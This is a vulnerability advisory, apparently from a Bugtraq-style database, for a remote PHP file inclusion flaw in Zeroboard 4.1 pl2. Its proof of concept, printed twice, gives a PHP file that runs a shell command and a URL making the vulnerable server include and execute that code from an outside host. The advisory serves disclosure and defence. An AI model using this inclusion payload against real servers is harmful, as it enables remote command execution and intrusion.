Zeroboard PHP Include File Arbitrary Command Execution Vulnerability
BID:5028
Info
Zeroboard PHP Include File Arbitrary Command Execution Vulnerability
| Bugtraq ID: | 5028 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 15 2002 12:00AM |
| Updated: | Jun 15 2002 12:00AM |
| Credit: | Vulnerability discovery credited to I'm I <[email protected]>. |
| Vulnerable: |
Zeroboard Zeroboard 4.1 pl2 |
| Not Vulnerable: | |
Exploit / POC
Zeroboard PHP Include File Arbitrary Command Execution Vulnerability
The following proof of concept has been made available:
PHP Source file a.php
<? passthru("/bin/ls"); ?>
Accessing URL on vulnerable system:
http://vulnerablesystem/_head.php?_zb_path=http://example.com/a
The following proof of concept has been made available:
PHP Source file a.php
<? passthru("/bin/ls"); ?>
Accessing URL on vulnerable system:
http://vulnerablesystem/_head.php?_zb_path=http://example.com/a
Solution / Fix
Zeroboard PHP Include File Arbitrary Command Execution Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.